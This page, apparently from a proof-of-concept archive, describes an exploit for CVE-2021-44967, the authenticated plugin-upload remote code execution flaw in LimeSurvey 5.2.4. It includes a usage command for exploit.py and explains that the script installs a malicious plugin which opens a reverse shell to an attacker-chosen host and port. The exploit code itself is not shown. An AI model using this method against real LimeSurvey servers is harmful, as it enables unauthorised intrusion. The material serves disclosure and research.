Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44967 PoC — LimeSurvey 代码问题漏洞

Source
Associated Vulnerability
Title:LimeSurvey 代码问题漏洞 (CVE-2021-44967)
Description:A Remote Code Execution (RCE) vulnerabilty exists in LimeSurvey 5.2.4 via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file. NOTE: the Supplier's position is that plugins intentionally can contain arbitrary PHP code, and can only be installed by a superadmin, and therefore the security model is not violated by this finding.
Description
Authenticated (privileged) remote command execution in LimeSurvey Version 5.2.4 via upload and install plugins allows a remote user to upload arbitrary PHP code file.
Readme
# CVE-2021-44967 - Authenticated(privileged) RCE
Authenticated (privileged) remote command execution in LimeSurvey Version 5.2.4 via upload and install plugins allows a remote user to upload arbitrary PHP code file.


# Usage
`python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>`

A superadmin user is allowed to load plugin modules through the LimeSurvey administration panel. The script locally creates the files, zips and uploads them. Later, a call is made to install, activate and run the modules, executing the reverse shell.




![image](https://github.com/user-attachments/assets/e28b12b1-e3db-43a3-9dfc-8429e6c79e88)
File Snapshot

[4.0K] /data/pocs/79e583301e4ecd0e5b18950e6ebc15ae3c06f0b8 ├── [7.4K] exploit.py └── [ 704] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →